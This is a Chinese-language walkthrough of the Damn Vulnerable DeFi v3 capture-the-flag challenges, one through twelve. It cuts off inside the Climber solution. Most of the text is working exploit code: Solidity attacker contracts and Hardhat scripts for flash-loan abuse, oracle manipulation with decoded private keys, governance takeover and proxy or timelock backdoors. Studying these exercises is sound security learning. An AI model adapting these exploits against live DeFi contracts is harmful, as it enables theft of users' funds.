区块链安全-Damn_Vulnerable_DeFi

  • 前言
  • 1. Unstoppable
  • 2. Naive receiver
  • 3. Truster
  • 4. Side Entrance
  • 5.The Rewarder
  • 6. Selfie
  • 7. Compromised
  • 8. Puppet
  • 9. Puppet – V2
  • 10. Free Rider
  • 11. Backdoor
  • 12. Climber
  • 13. Wallet-mining
  • 14. Puppet – V3
  • 15 ABI-Smuggling
  • 总结

前言

很抱歉，很久没有更新了。这段时间，经历了孩子出生、出国执行项目等诸多事情，心里也比较乱，也没有思绪去完成挑战。最近总算闲下来了，不过打开一看，发现[Damn-Vulnerable-DeFi]已经执行到v3.0.0了，很多东西都发生了变化，为什么不重头做一下呢？不过这次我可能会比较直接，直接贴代码、解释原理把！欢迎一起交流！

1. Unstoppable

在test/unstoppable/unstoppable.challenge.js中，相关代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */console.log(await vault.totalAssets());console.log(await vault.totalSupply());await token.connect(player).transfer(vault.address,1);console.log(await vault.totalAssets());console.log(await vault.totalSupply());});

原因是因为在UnstoppableVault.sol中调用flashLoan函数，这里有一个先决条件，即if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

再看balanceBefore就是totalAssets即通过asset.balanceOf(address(this));查询的到的余额。而convertToShare(totalSupply)呢？totalSupply来源于UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626中的ERC626，因为abstract contract ERC4626 is ERC20，所以ERC20中的totalSupply就是我们要找的。

但是，实际的assets合约和Vault仓库的token又不算完全一样。asset是资产底层通证，而share就是股权通证，在本合约中是1:1兑换的，share的增发受严格控制，只能当用户存入asset资产底层通证时才能调用_mint函数，当用户取出时则会_burn。

因为是convertToShares(totalSupply)，当资产通证和合约股权通证严格相等时，totalSupply.mulDivDown(totalSupply, totalAssets())就会依然等同于totalAssets()。但由于股权通证的增发仅由deposit函数引起，因此我们直接调用token.transfer不会引起股权通证的变化，两者不再相等，从而该等式无法成立。

结果如下：

BigNumber { value: "1000000000000000000000000" } -> totalAssets(前)BigNumber { value: "1000000000000000000000000" } -> totalSupply(前)BigNumber { value: "1000000000000000000000001" } -> totalAssets(后)BigNumber { value: "1000000000000000000000000" } -> totalSupply(后)

2. Naive receiver

解决思路：

考虑到在NaiveReceiverLenderPool中，采用FIXED_FEE，有

uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

也就是说无论怎么样，都必须支付1ether的手续费用。所以我们只要借款10次，就能很轻易的掏空了。

因此，在test/naive-receiver/naive-receiver.challenge.js中，关键部分如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */for (i=0; i<10; i++){await pool.connect(player).flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",1,"0x");}});

注意，因为最后要传入bytes，所以必须加上”0x”，否则不符合格式则会报错。

3. Truster

解决思路：

考虑到在TrusterLenderPool.sol中，闪电贷函数flashLoan里有两种类型的地址，borrower与target，同时还调用了target中的functionCall方法。我们实际上没有必要去在闪电贷过程中就转移所有通证，只要通过functionCall获取后续攻击的权限即可。

因此，在test/truster/truster.challenge.js中，关键部分如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const calldata = token.interface.encodeFunctionData("approve",[player.address,TOKENS_IN_POOL]);await pool.connect(player).flashLoan(0,player.address,token.address,calldata);await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);});

我们构造了calldata，目的是使得pool作为msg.sender主动调用token合约中的approve，并授权给player所有通证的权限。同时我们用了0个通证的闪电贷并实现了授权，成功掏空了合约中的通证。

4. Side Entrance

解决思路：

在SideEntranceLenderPool.sol中，SideEntranceLenderPool既提供了闪电贷功能，又提供了存入功能，这个则是“灾难的”。在闪电贷中，借入和归还都是通过transfer进行的，并没有对相关手段作出特别的校验，最终只会通过if (address(*this*).balance < balanceBefore)进行余额上的检查。但如果合约又同时提供了存入、取出却没有进行任何限制，攻击者通过deposit也能绕过flashLoan的验证，同时还能在之后通过withdraw进行提取。

我们需要手写合约，具体如下：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./SideEntranceLenderPool.sol";contract Hacker{SideEntranceLenderPool pool;address owner;uint constant AMOUNT = 1000 * 10**18;constructor (address _pool) {pool = SideEntranceLenderPool(_pool);owner = msg.sender;}function attack() public{pool.flashLoan(AMOUNT);}function execute() public payable{pool.deposit{value:msg.value}();}function withdraw() public {pool.withdraw();}receive() external payable {payable(owner).transfer(msg.value);}}

在test/side-entrance/side-entrance.challenge.js中，具体代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await (await ethers.getContractFactory('Hacker', player)).deploy(pool.address);await hacker.attack();await hacker.withdraw();});

5.The Rewarder

解决思路：

首先要弄明白，这个快照的是如何实现的。

AccountingToken的介绍是A limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshotting capabilities，这是通过继承ERC20Snapshot实现的。

后者定义了一个结构

struct Snapshots {uint256[] ids;uint256[] values;}

并通过 mapping(address => Snapshots) private _accountBalanceSnapshots;去存储余额，在每次操作时，都会通过_updateAccountSnapshot和_updateTotalSupplySnapshot去更新对应快照id下的余额。

而这个又是如何触发分红的呢，为什么不直接按照余额来？

TheRewarderPool触发分红是通过distributeRewards进行（注意是在mint后进行），当满足isNewRewardsRound（可开展新一轮分红后），就根据余额进行分红。

我们的思路就是通过闪电贷，触发分红（要在相关时间后第一个发起交易），随后取出并归还。

我们需要手写合约，具体如下（为简便起见，不导入，直接用abi.encodeWithSignature）：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";contract HackerRewarder {using Address for address;address pool;address flashLoan;address token;address reward;address owner;constructor(address _pool,address _flashLoan, address _token, address _reward ) {pool = _pool;flashLoan = _flashLoan;token = _token;reward = _reward;owner = msg.sender;}function attack(uint amount) external {flashLoan.functionCall(abi.encodeWithSignature("flashLoan(uint256)", amount));}function receiveFlashLoan(uint256 amount) external {token.functionCall(abi.encodeWithSignature("approve(address,uint256)",pool,amount));pool.functionCall(abi.encodeWithSignature("deposit(uint256)", amount));pool.functionCall(abi.encodeWithSignature("withdraw(uint256)", amount));token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",flashLoan,amount));reward.functionCall(abi.encodeWithSignature("approve(address,uint256)",owner,100 ether));}}

在test/the-rewarder/the-rewarder.challenge.js中，具体代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await ethers.getContractFactory('HackerRewarder', player);const hackerRewarder = await hacker.deploy(rewarderPool.address, flashLoanPool.address, liquidityToken.address, rewardToken.address);await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 daysawait hackerRewarder.connect(player).attack(TOKENS_IN_LENDER_POOL);const hackedReward = await rewardToken.balanceOf(hackerRewarder.address);await rewardToken.connect(player).transferFrom(hackerRewarder.address,player.address,hackedReward);});

其中，要记得通过evm_increaseTime将时间调整5天以达成分红的条件！

6. Selfie

解决思路：

首先我们要看一下攻击的入口很明显是SelfiePool.sol中的emergencyExit，但有一个onlyGovernance的限制。

我们看治理合约里，可以提出提案queueAction，但前提是_hasEnoughVotes(msg.sender)，然而之后2 days后，执行通过的合约就不需要再次校验了！

所以我们可以利用闪电贷发起提案，2天后执行就好！

我们需要手写合约，具体如下（为简便起见，不导入，直接用abi.encodeWithSignature）：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";contract HackerSelfie {using Address for address;address flashLoan;address govern;address token;address owner;uint256 public requestId;bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");constructor(address _flashLoan,address _govern, address _token){flashLoan = _flashLoan;govern = _govern;token = _token;owner = msg.sender;}function attack(uint256 amount) public{flashLoan.functionCall(abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)",address(this),token,amount,""));}function onFlashLoan(address initiator,address _token,uint256 amount,uint256 fee,bytes calldata data) external returns (bytes32){token.functionCall(abi.encodeWithSignature("snapshot()"));bytes memory response = govern.functionCall(abi.encodeWithSignature("queueAction(address,uint128,bytes)", flashLoan,0,abi.encodeWithSignature("emergencyExit(address)", owner)));requestId = abi.decode(response,(uint256));token.functionCall(abi.encodeWithSignature("approve(address,uint256)",flashLoan,amount+fee));return CALLBACK_SUCCESS;}}

此处注意，为了保证，手动对token进行了快照！

在test/the-rewarder/the-rewarder.challenge.js中，具体代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker =await (await ethers.getContractFactory('HackerSelfie', player)).deploy(pool.address,governance.address,token.address);await hacker.connect(player).attack(await pool.maxFlashLoan(token.address));await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 daysawait governance.executeAction(await hacker.requestId());});

7. Compromised

解决思路：

涉及到“喂价”，一定就回到了操纵预言机攻击。那我们来看看捕捉到的信息：

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35，两个16进制（1 byte => 8位）对应ASCII码。

解析为ASCII，为MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5，很明显这个是base64加密后的结果，解密为0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9。

同样，我们还可以获得0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48。

我们使用如下代码进行验证：

const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";const oracle1 = new ethers.Wallet(priKey1);const oracle2 = new ethers.Wallet(priKey2);console.log(oracle1.address);console.log(oracle2.address);

输出结果如下：

0xe92401A4d3af5E446d93D11EEc806b1462b39D150x81A5D6E50C214044bE44cA0CB057fe119097850c

而这个正好就是喂价机的地址。接下来就是通过操纵预言机进行获利了。由合约Exchange.sol可知，buyOne和SellOne都依赖于getMedianPrice，即通过中位数定价。

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";const oracle1 = new ethers.Wallet(priKey1,ethers.provider);const oracle2 = new ethers.Wallet(priKey2,ethers.provider);console.log(oracle1.address);console.log(oracle2.address);const tx1 = {to: oracle1.address,value: ethers.utils.parseEther('0.02'),gasLimit: 21000,gasPrice: ethers.utils.parseUnits('10', 'gwei'),};const tx2 = {to: oracle2.address,value: ethers.utils.parseEther('0.02'),gasLimit: 21000,gasPrice: ethers.utils.parseUnits('10', 'gwei'),}; await player.sendTransaction(tx1);await player.sendTransaction(tx2);await oracle.connect(oracle1).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));await oracle.connect(oracle2).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));const id = await exchange.connect(player).callStatic.buyOne({value:ethers.utils.parseEther('0.0001')});await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});const price = await ethers.provider.getBalance(exchange.address);await oracle.connect(oracle1).postPrice('DVNFT',price);await oracle.connect(oracle2).postPrice('DVNFT',price);await nftToken.connect(player).approve(exchange.address,id);await exchange.connect(player).sellOne(id);await oracle.connect(oracle1).postPrice('DVNFT',INITIAL_NFT_PRICE);await oracle.connect(oracle2).postPrice('DVNFT',INITIAL_NFT_PRICE);});

注意以下几点：

  1. 提前给预言机器oracle1、oracle2转账

  2. 通过callStatic模拟执行结果，提前获取id

    或者使用

    const tx3 = await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});const receipt = await tx3.wait();const id =await receipt.events[1].args.tokenId;

  3. 结束以后将价格改回来

8. Puppet

解决思路：

要通过质押取出所有的通证，结果很简单，就是先“砸盘”，再存入并借款（通常情况下，又需要买回原来的“砸盘”保证筹码不失）。

如果仅由分步进行:

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);await uniswapExchange.connect(player).tokenToEthSwapInput(PLAYER_INITIAL_TOKEN_BALANCE,1,(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline);const valueDeposit = await lendingPool.callStatic.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{value:valueDeposit});await uniswapExchange.connect(player).ethToTokenSwapOutput(PLAYER_INITIAL_TOKEN_BALANCE,(await ethers.provider.getBlock('latest')).timestamp * 3, // deadline{value : UNISWAP_INITIAL_ETH_RESERVE + 1n});});

然而，这不满足要求 // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

将攻击分成好几步，一次一次来，是不是觉得MEV看不到？所以这里还需要将以上步骤都打包，通过合约进行，并在合约创建过程中完成。这里就有一个问题了：approve操作该怎么办，能一步完成吗？

查询了一下所用的ERC20，里面多了一个函数permit:

/*// EIP-2612 LOGIC//*/function permit(address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s) public virtual {require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");// Unchecked because the only math done is incrementing// the owner's nonce which cannot realistically overflow.unchecked {address recoveredAddress = ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR(),keccak256(abi.encode(keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),owner,spender,value,nonces[owner]++,deadline)))),v,r,s);require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");allowance[recoveredAddress][spender] = value;}emit Approval(owner, spender, value);

通过组合检查用户签名等同于Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)...可以实现代授权功能，这个感觉有点危险。。

那就写攻击合约吧:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "hardhat/console.sol";contract HackerPuppet {using Address for address;constructor(address token,address pool,address swap,uint8 v, bytes32 r, bytes32 s,uint256 playerToken,uint256 poolToken) payable {token.functionCall(abi.encodeWithSignature("permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",msg.sender,address(this),type(uint256).max,type(uint256).max,v,r,s));token.functionCall(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender,address(this),playerToken));bytes memory ans = token.functionCall(abi.encodeWithSignature("balanceOf(address)",address(this)));console.log("after transfering...");console.log(abi.decode(ans,(uint256)));console.log("before swapping");console.log(address(this).balance);token.functionCall(abi.encodeWithSignature("approve(address,uint256)",swap,playerToken));swap.call(abi.encodeWithSignature("tokenToEthSwapInput(uint256,uint256,uint256)", playerToken,1,type(uint256).max));console.log("after swapping");console.log(address(this).balance);(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature("calculateDepositRequired(uint256)", poolToken));console.log(suc);uint256 requiredETH = abi.decode(response,(uint256));console.log("requiredETH");console.log(requiredETH);pool.functionCallWithValue(abi.encodeWithSignature("borrow(uint256,address)", poolToken, msg.sender),requiredETH);swap.functionCallWithValue(abi.encodeWithSignature("ethToTokenSwapOutput(uint256,uint256)", playerToken,type(uint256).max),10 ether + 1);token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,playerToken));payable(msg.sender).transfer(address(this).balance);}receive() external payable {}}

我们逐步来解析，以下通过permit完成在合约中的代授权并转账（其实我觉得在攻击时，这一步能拆开）

token.functionCall(abi.encodeWithSignature("permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",msg.sender,address(this),type(uint256).max,type(uint256).max,v,r,s));token.functionCall(abi.encodeWithSignature("transferFrom(address,address,uint256)",msg.sender,address(this),playerToken));

以下approve完成通证授权给swap，并通过swap实现“砸盘”

token.functionCall(abi.encodeWithSignature("approve(address,uint256)",swap,playerToken));swap.call(abi.encodeWithSignature("tokenToEthSwapInput(uint256,uint256,uint256)", playerToken,1,type(uint256).max));

以下则通过质押进行borrow，并在同一笔交易内将“砸盘”的筹码买回！

 (bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature("calculateDepositRequired(uint256)", poolToken));console.log(suc);uint256 requiredETH = abi.decode(response,(uint256));console.log("requiredETH");console.log(requiredETH);pool.functionCallWithValue(abi.encodeWithSignature("borrow(uint256,address)", poolToken, msg.sender),requiredETH);swap.functionCallWithValue(abi.encodeWithSignature("ethToTokenSwapOutput(uint256,uint256)", playerToken,type(uint256).max),10 ether + 1);

合约创建如test/puppet/puppet.challenge.js，先通过getContractAddress实现合约地址预先计算以实现签名，然后通过部署完成攻击！

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = ethers.utils.getContractAddress({from: player.address,nonce: 0 });console.log("hackerAddress : " + hacker);console.log("swap : " + uniswapExchange.address);const { r, s, v } = await signERC2612Permit(ethers.provider,token.address,player.address,hacker,);await (await ethers.getContractFactory('HackerPuppet', player)).deploy(token.address,lendingPool.address,uniswapExchange.address,v,r,s,PLAYER_INITIAL_TOKEN_BALANCE,POOL_INITIAL_TOKEN_BALANCE,{value: 200n * 10n ** 17n,gasLimit: '30000000',});console.log(await token.balanceOf(hacker));});

9. Puppet – V2

解决思路：

这里是Uniswap V2，与之前的区别在于使用了UniswapRouter进行了中继，所以我们不会再直接与pair进行交互，而是依靠Router。

思路还是一样的，先将token转变为weth，并将eth转变为weth以完成质押存入mint weth（否则数量不够）。这一题反而没有单笔交易内完成的相关限制，有点奇怪。

具体代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);console.log("before swapping, token : "+await token.balanceOf(player.address));console.log("before swapping, weth : "+await weth.balanceOf(player.address));await uniswapRouter.connect(player).swapExactTokensForTokens(PLAYER_INITIAL_TOKEN_BALANCE,1,[token.address,weth.address],player.address,(await ethers.provider.getBlock('latest')).timestamp * 3,);console.log("after swapping, token : "+await token.balanceOf(player.address));console.log("after swapping, weth : "+await weth.balanceOf(player.address));const stakeAmount = await lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);const beforeDeposit = await weth.balanceOf(player.address);const valueToDeposit = BigNumber(stakeAmount - beforeDeposit);await weth.connect(player).deposit({value : valueToDeposit.toString()});console.log("current : "+ await weth.balanceOf(player.address));await weth.connect(player).approve(lendingPool.address,stakeAmount);await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);});

10. Free Rider

解决思路：

进入点类似于重入攻击，只要凑齐15ETH，就可以通过buyMany的漏洞批量完成了。然而我们起始只有0.1个，该怎么办？这也呼应了题目中的If only you could get free ETH, at least for an instant.

一开始疑惑了好一会，突然明白了，因为部署了Uniswap V2，所以我们可以利用FlashLoan（Flash Swap）实现一次性攻击。

其实这里面漏洞有两个:

  1. msg.value可重入 批量购买
  2. 将购买金额发送给nft所有者是在变更所有权后

以下是攻击合约：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";import "hardhat/console.sol";contract HackerFreeRider is IERC721Receiver{using Address for address;// borrow ethuint256 borrowAmount = 15 ether;address pair;address weth;address exchange;address nft;address reward;address owner;constructor(address _pair,address _weth,address _exchange,address _nft,address _reward){pair = _pair;weth = _weth;exchange = _exchange;nft = _nft;reward = _reward;owner = msg.sender;}function attack() public {pair.functionCall(abi.encodeWithSignature("swap(uint256,uint256,address,bytes)",borrowAmount,0,address(this),"1"));}function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) public{console.log("calling back");bytes memory wethBorrowed = weth.functionCall(abi.encodeWithSignature("balanceOf(address)",address(this)));console.log(abi.decode(wethBorrowed,(uint256)));console.log("successfully borrowed ...");weth.functionCall(abi.encodeWithSignature("withdraw(uint256)",abi.decode(wethBorrowed,(uint256))));console.log(address(this).balance);uint[] memory arr = new uint[](6);for (uint i = 0; i<6; i++){arr[i] = i;}exchange.functionCallWithValue(abi.encodeWithSignature("buyMany(uint256[])", arr),abi.decode(wethBorrowed,(uint256)));for (uint i = 0; i < 6; i++){nft.functionCall(abi.encodeWithSignature("safeTransferFrom(address,address,uint256,bytes)",address(this),reward,i,abi.encode(address(this))));}console.log("eth ", address(this).balance);uint mintback = borrowAmount * 1000 / 997 + 1 ether;weth.functionCallWithValue(abi.encodeWithSignature("deposit()"),mintback);console.log("after mint back ");console.log("eth ", address(this).balance);weth.functionCall(abi.encodeWithSignature("transfer(address,uint256)",pair,mintback));payable(owner).transfer(address(this).balance);console.log("finish...");}receive() payable external {console.log("receiving ...");console.log(msg.value);console.log(address(this).balance);}function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)externaloverridereturns (bytes4) {console.log("receving : ", _tokenId);return IERC721Receiver.onERC721Received.selector;}}

在attack函数中，调用

pair.functionCall(abi.encodeWithSignature("swap(uint256,uint256,address,bytes)",borrowAmount,0,address(this),"1"));

通过uniswapV2Call接受回调，实现转为ETH，购买NFT，获取奖励，铸造WETH，归还闪电贷。同时记得要实现onERC721Received以接受NFT。

在test/free-rider/free-rider.challenge.js中，代码如下：

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */hacker = await (await ethers.getContractFactory('HackerFreeRider', player)).deploy(uniswapPair.address,weth.address,marketplace.address,nft.address,devsContract.address);hacker.connect(player).attack();});

11. Backdoor

首先：Gnosis Safe是一个开源的多签名钱包，旨在为用户提供更高的安全性和更好的用户体验。它允许用户管理数字资产，并使用多重签名保护其资产。这介绍了相关背景。

因为一开始做就了限制：

msg.sender != walletFactory所以我们还是要先与walletProxyFactory进行交互，所以我们看看有哪些利用点。

观察createProxyWithCallback调用了createProxyWithNonce，同时执行以下：

assembly {if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {revert(0, 0)}}

这会调用proxy的fallback函数，最终通过delegateCall执行calldata中的逻辑。

fallback() external payable {// solhint-disable-next-line no-inline-assemblyassembly {let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0sif eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {mstore(0, _singleton)return(0, 0x20)}calldatacopy(0, 0, calldatasize())let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)returndatacopy(0, 0, returndatasize())if eq(success, 0) {revert(0, returndatasize())}return(0, returndatasize())}}

在这里，又由于限制，我们可以直接将singleton指向攻击函数，并在这里执行操作，由于调用发生在之前，所以我们可以预先通过approve等方法完成预先授权。但由于需要调用Setup完成对钱包的设置，所以我们将调用approve的操作delegate放在setup的data变量中，最终会在setupModule中通过 require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");执行。所以我们传入的initializer应该是setup经过decode后的结果。

先写攻击合约，这里有一个大坑。。（我一开始将 function delegateApprove(address token, address spender) external写在HackerBackDoor合约内，但是因为还是在创建阶段，所以无法调用。所以后来我写在一个子合约内）。因为每次owner只能有一个人，所以我们被迫通过循环实现。

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";import "hardhat/console.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";contract CB{constructor(){}function delegateApprove(address token, address spender) external{console.log("delegate coming in");token.call(abi.encodeWithSignature("approve(address,uint256)",spender,type(uint256).max - 1));}}contract HackerBackdoor {using Address for address;address placeholder1;address placeholder2;IERC20 tokenDVT;constructor(address[] memory users,address factory,address token,address wallet,address singleton){tokenDVT = IERC20(token);CB cb = new CB();GnosisSafeProxyFactory fac = GnosisSafeProxyFactory(factory);console.log("performing attack by ",address(this));for (uint i = 0; i < users.length; i++){console.log("user ",users[i]);address[] memory user2call = new address[](1);user2call[0] = users[i];bytes memory tmp = abi.encodeWithSignature("delegateApprove(address,address)",token,address(this));bytes memory data = abi.encodeWithSignature("setup(address[],uint256,address,bytes,address,address,uint256,address)",user2call,1, // thresholdcb,tmp,address(0),address(0),0,address(0));GnosisSafeProxy proxyAddr = fac.createProxyWithCallback(singleton, data, 0, IProxyCreationCallback(wallet));console.log("proxy ", address(proxyAddr));console.log("dvt balance ",tokenDVT.balanceOf(address(proxyAddr)));tokenDVT.transferFrom(address(proxyAddr), msg.sender, 10 ether);}}}

根据以上原理，见test/backdoor/backdoor.challenge.js，我们成功在一笔交易内完成获取。

it('Execution', async function () {/** CODE YOUR SOLUTION HERE */const hacker = await (await ethers.getContractFactory('HackerBackdoor', player)).deploy(users,walletFactory.address,token.address,walletRegistry.address,masterCopy.address,{gasLimit: '30000000'});});

PS. 我发现调试时尽量通过interface导入后调用，之前是为了合约的简洁（如果思路清晰的话没问题）。

12. Climber

解决思路：

在ClimberTimeLock的execute函数中，由于先执行操作，然后再通过getOperationState(id) != OperationState.ReadyForExecution校验，形成了典型的“先上车后买票”的进入点。

但由于我们执行时，得一步一步执行，因为执行时msg.sender就是ClimberTimeLock本身。我们会从Admin_ROLE开始，逐步提权。

我们首先列出需要做的事情：

  1. updateDelay 改为 0
  2. 分配给特定角色PROPOSER_ROLE以能够实现提案
  3. 实现升级以取消相关限制
  4. 完成提款
  5. 提交提案

所以我们先写出来攻击的合约吧，需要在同一笔交易内完成（创建合约可以提前）。

升级合约本身没什么特别的，就是在原先基础上去掉了一些限制：

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "solady/src/utils/SafeTransferLib.sol";import "./ClimberTimelock.sol";import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";/** * @title ClimberVault * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {uint256 private _lastWithdrawalTimestamp;address private _sweeper;modifier onlySweeper() {if (msg.sender != _sweeper) {revert CallerNotSweeper();}_;}/// @custom:oz-upgrades-unsafe-allow constructorconstructor() {_disableInitializers();}function initialize(address admin, address proposer, address sweeper) external initializer {// Initialize inheritance chain__Ownable_init();__UUPSUpgradeable_init();// Deploy timelock and transfer ownership to ittransferOwnership(address(new ClimberTimelock(admin, proposer)));_setSweeper(sweeper);_updateLastWithdrawalTimestamp(block.timestamp);}// Allows the owner to send a limited amount of tokens to a recipient every now and thenfunction withdraw(address token, address recipient, uint256 amount) external onlyOwner {// Cancel AnyRestrictionsSafeTransferLib.safeTransfer(token, recipient, IERC20(token).balanceOf(address(this)));}// Allows trusted sweeper account to retrieve any tokensfunction sweepFunds(address token) external onlySweeper {SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));}function getSweeper() external view returns (address) {return _sweeper;}function _setSweeper(address newSweeper) private {_sweeper = newSweeper;}function getLastWithdrawalTimestamp() external view returns (uint256) {return _lastWithdrawalTimestamp;}function _updateLastWithdrawalTimestamp(uint256 timestamp) private {_lastWithdrawalTimestamp = timestamp;}// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgradefunction _authorizeUpgrade(address newImplementation) internal override onlyOwner {}}

同时，我发现不能直接将propose动作打包进去，因为会有一个循环依赖的过程（我生我自己），所以需要推举攻击合约为proposer，并通过call让攻击合约提案。

攻击合约如下，其实写的有点啰嗦，生成payload的过程是可以放一起的。但就这样吧！

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./ClimberTimelock.sol";import "hardhat/console.sol";import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";contract HackerClimber {ClimberTimelock timeClock;address upgrade;address vault;address token;address owner;constructor(address _target,address _upgrade,address _vault,address _token){timeClock = ClimberTimelock(payable(_target));upgrade = _upgrade;vault = _vault;token = _token;owner = msg.sender;}function attack() public{console.log( timeClock.delay() );address[] memory targets = new address[](5);uint[] memory values = new uint[](5);bytes[] memory calldatas = new bytes[](5);targets[0] = address(timeClock);values[0] = 0;calldatas[0] = abi.encodeWithSignature("grantRole(bytes32,address)",PROPOSER_ROLE,address(this));targets[1] = address(timeClock);values[1] = 0;calldatas[1] = abi.encodeWithSignature("updateDelay(uint64)",0);targets[2] = vault;values[2] = 0;calldatas[2] = abi.encodeWithSignature("upgradeTo(address)",upgrade);targets[3] = address(this);values[3] = 0;calldatas[3] = abi.encodeWithSignature("attack2()");targets[4] = vault;values[4] = 0;calldatas[4] = abi.encodeWithSignature("withdraw(address,address,uint256)",token,owner,0); timeClock.execute(targets, values, calldatas, "");console.log( timeClock.delay() );}function 